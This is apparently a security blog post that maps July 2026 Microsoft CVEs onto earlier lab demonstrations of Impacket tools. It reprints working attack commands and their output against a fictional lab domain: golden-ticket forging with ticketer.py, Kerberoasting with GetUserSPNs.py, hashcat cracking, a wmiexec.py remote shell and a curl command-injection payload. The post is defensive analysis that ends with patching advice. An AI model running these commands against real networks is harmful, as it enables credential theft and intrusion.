CVE-2026-56155 and CVE-2026-20833: Why Patch Tuesday Keeps Rediscovering the Impacket Series
On July 14, 2026, Microsoft shipped the largest Patch Tuesday in its history — north of 600 CVEs in one drop, two of them zero-days already being exploited before a fix existed. Numbers like that are easy to scroll past. Another month, another four-digit CVE count, another “patch now” headline. But sit with two of the entries from that release — CVE-2026-56155 and CVE-2026-20833 — and something clicks if you’ve been following the Impacket Deep Dive series on this site. These aren’t new categories of attack. They’re the same handful of trust-chain weaknesses this blog spent ten posts walking through in July, showing up again in a different piece of Microsoft’s identity stack.
That’s really the point of this post: not a new how-to, but showing the resemblance directly, using real transcripts already run on this blog’s own lab domain rather than just asserting the comparison. Two caveats up front. First, for the two freshly-disclosed CVEs here — the AD FS key-theft bug and a Windows SMB privilege-escalation flaw — neither Microsoft nor any researcher has published the actual exploitation mechanics, and one of them was an active zero-day at disclosure. I’m not going to originate plausible-sounding attack steps to fill that gap; where the public detail stops, so does this post. Second, everything I do show below already ran, months or weeks ago, against the fictional CONTOSO.LOCAL lab this series built for exactly this purpose — it’s being reused here to make an argument, not run fresh against anything new.
The headline numbers
July’s release covered 621 unique Microsoft CVEs, comfortably clearing June’s already-record total. Two were confirmed zero-days: CVE-2026-56155 in Active Directory Federation Services, and a companion SharePoint flaw (CVE-2026-56164), both added to CISA’s Known Exploited Vulnerabilities catalog the same day the patches landed. Buried in the same release is CVE-2026-20833, the Kerberos information-disclosure bug that finally forced Microsoft to rip out the RC4 rollback switch domain controllers had been quietly honoring for years. A Windows SMB elevation-of-privilege bug, CVE-2026-58531, shipped in the same batch. None of these four are related to each other in Microsoft’s own advisories. But line them up against the Impacket series and they form a pattern.
CVE-2026-56155 — forging trust instead of cracking it
AD FS keeps its token-signing keys in a Distributed Key Manager (DKM) container in Active Directory, protected by an ACL. CVE-2026-56155 is what happens when that ACL is too permissive: an attacker who already has a foothold on the federation server — not a remote, unauthenticated attacker, just someone with local access — can read the DKM key material, decrypt the token-signing private key, and mint SAML tokens that every downstream service trusts, because the signature is real. The federation, not the credential, becomes the attack surface. Microsoft’s advisory stops at that description; no public write-up walks through the actual DKM extraction or token-forging steps, and I’m not going to speculate them into existence here.
What I can show is the exact shape of the attack, because Impacket Deep Dive Part 8 already ran it — one layer down, against Kerberos instead of SAML. With krbtgt’s NT hash pulled via secretsdump.py in Part 7, ticketer.py forges a TGT entirely offline:
$ ticketer.py -nthash 8846f7eaee8fb117ad06bdd830b7586c \
-domain-sid S-1-5-21-1957667318-3765306688-1889875232 \
-domain CONTOSO.LOCAL \
-groups 512,518,519,520 \
fake.admin
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for CONTOSO.LOCAL/fake.admin
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncAsRepPart
[*] Signing/Encrypting final ticket
[*] Saving ticket in fake.admin.ccachefake.admin doesn’t exist as an account in CONTOSO.LOCAL. It doesn’t need to — the ticket is signed with krbtgt’s own key, and every domain controller that checks that signature finds it valid, because validity is “signed with the right key,” full stop. That’s the entire mechanism CVE-2026-56155 replicates one layer up the stack: a DKM signing key plays the same structural role as krbtgt — the one secret every downstream verifier implicitly trusts — and an attacker who reads it stops needing anyone’s password, the same way ticketer.py does here. Golden tickets and forged SAML tokens are different protocols failing at the identical point: a single root key, and no way for the thing checking the signature to ask “but was this actually issued by the real authority?”
CVE-2026-20833 — Kerberoasting was never theoretical
This one is direct, and the site already has the full, real cracking run behind it. CVE-2026-20833 is an information-disclosure flaw that makes RC4-encrypted Kerberos service tickets vulnerable to offline brute-force — which is a formal, CVE-numbered description of Kerberoasting, a technique that’s been public and taught for close to a decade. Impacket Deep Dive Part 4 requested a service ticket for CONTOSO\svc-backup with a completely ordinary, unprivileged domain account:
$ GetUserSPNs.py CONTOSO.LOCAL/j.reyes:'Summer2026!' -dc-ip 10.10.30.10 -request -outputfile spns.txt
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet
--------------------------------- ---------- -------------------------- ------------------
MSSQLSvc/FS01.CONTOSO.LOCAL:1433 svc-backup CN=Backup Operators,... 2024-01-08 10:03
$krb5tgs$23$*svc-backup$CONTOSO.LOCAL$MSSQLSvc/FS01.CONTOSO.LOCAL~1433*$8a3f... (truncated, saved to spns.txt)The $23$ in that hash is the encryption type — RC4, hashcat mode 13100 — and Password Cracking Part 7 ran the actual crack, not a stock wordlist but a targeted rule chain built from the account’s own naming pattern:
$ hashcat -a 1 -j 'c sa4' -k '^$ u' --stdout seed-words.txt seed-words.txt | sort -u > combined-base.txt
$ hashcat -m 13100 -a 6 spns.txt combined-base.txt ?d?d?d?dB4ckup$SQL2024, recovered offline, with zero interaction against the domain controller beyond the single legitimate-looking ticket request. That’s not a simulation of what CVE-2026-20833 describes — it’s the same primitive: a service account’s password, protected only by RC4 rather than AES, factored offline at leisure. Microsoft’s fix in this release was to finally remove the RC4DefaultDisablementPhase rollback switch entirely, so domain controllers patched in July no longer fall back to RC4 tickets at all. It’s taken years of phased hardening to get there, for the same reason svc-backup’s RC4 ticket existed in the lab in the first place: legacy service accounts and third-party integrations that nobody wants to be the one to break.
CVE-2026-58531 — SMB doesn’t retire
A race condition in Windows SMB allowing local privilege escalation is the quietest entry in this release, and there’s no public technical detail on the race condition itself to reproduce or discuss responsibly. What’s worth showing instead is the backdrop it lands on: SMB has been the primary lateral-movement transport on Windows networks for three decades, and it is already this exploitable in completely ordinary use, with nothing novel involved. Impacket Deep Dive Part 6 turned a cracked service-account password straight into a remote shell on FS01:
$ wmiexec.py CONTOSO/svc-backup:'B4ckup$SQL2024'@10.10.30.20
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32> whoami
contoso\svc-backupNo exploit chain, no zero-day — just a credential and a protocol that was designed decades ago to let exactly this kind of remote administration happen. A new local-privesc bug in SMB isn’t a surprising place to find a CVE. It’s the protocol equivalent of finding one more room in a house that’s already had thirty years of people walking in and out of every other door.
CVE-2026-26164 — the perimeter now includes Copilot
The odd one out here is CVE-2026-26164, an information-disclosure flaw in Microsoft 365 Copilot’s Business Chat, patched back in May, entirely cloud-side — there’s nothing left for a customer to act on. It’s not a Kerberos or SMB bug; it’s an injection issue in an AI assistant that has read access to a tenant’s mail, files, and chat history. I’m not going to attempt a prompt-injection payload aimed at a real product, live or patched, but the underlying bug class already has a real, deliberately-built demonstration on this site. AI Part 7 built a small HTTP service with a genuine, unsandboxed command-injection bug for exactly this kind of illustration:
$ curl "http://127.0.0.1:8011/ping?host=127.0.0.1;id;uname+-a"
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
...
uid=1029(adoring-sweet-shannon) gid=1029(adoring-sweet-shannon) groups=1029(adoring-sweet-shannon)
Linux claude 6.8.0-124-generic #124~22.04.1-Ubuntu SMP ... x86_64 GNU/LinuxThat’s untrusted input (host) reaching a privileged interpreter (a shell) with no validation in between — the same bug class CVE-2026-26164 describes, just with host= swapped for whatever untrusted text an AI assistant reads and treats as instructions rather than data. The mechanism is old. What’s new is the blast radius: a vulnerable form field on a diagnostic page reads back /etc/passwd; a vulnerable assistant with tenant-wide read access reads back a lot more than that.
Why this keeps happening
None of these four CVEs are novel attack techniques. Golden tickets, Kerberoasting, and SMB lateral movement are all years old, and every transcript above proves it — they’re artifacts from posts written before any of these four CVEs existed. What’s novel is where they keep resurfacing. Every complex trust chain eventually gets audited, and every audit finds the same three or four failure modes wearing a new protocol’s clothes. AD FS didn’t get a new kind of vulnerability; it got the golden-ticket vulnerability, expressed in DKM containers instead of krbtgt. RC4 Kerberoasting didn’t need to be rediscovered; Microsoft just finally finished removing the compatibility switch that kept it viable. This is the actual value of understanding offensive tooling defensively — once you’ve watched ticketer.py forge a ticket or GetUserSPNs.py pull a roastable hash for real, a bulletin like this stops being a scary CVSS score and starts being immediately legible: oh, that’s a golden ticket, just in SAML.
What to actually do with this
Patch cadence still matters more than anything else here, and it isn’t glamorous advice, but three specific actions come out of this release directly. If you run AD FS anywhere, check the DKM container ACL now rather than waiting for the automatic remediation Microsoft has scheduled for October 13, 2026 — CISA gave federal agencies until July 28 to fix CVE-2026-56155 for a reason. If you have service accounts, legacy applications, or non-Windows integrations that might still be negotiating RC4 Kerberos, audit them before you apply July’s update, because the rollback switch is gone and authentication failures on patch day are the alternative to Kerberoasting exposure, not a lesser evil. And more generally, this is exactly the argument for defending in depth rather than trusting any single control: segmentation, egress filtering, and inspection at the perimeter catch what a missed patch window doesn’t. If that side of the story interests you, Zero Trust Meets the Overlay and Watching the Fabric cover the FortiGate side of catching exactly this kind of lateral movement and credential abuse after the fact, rather than hoping the patch window closes in time.
The broader habit worth building is reading Patch Tuesday like this every month — not for the CVSS score, but for the technique underneath it. The tools change. The trust-chain failures underneath them mostly don’t.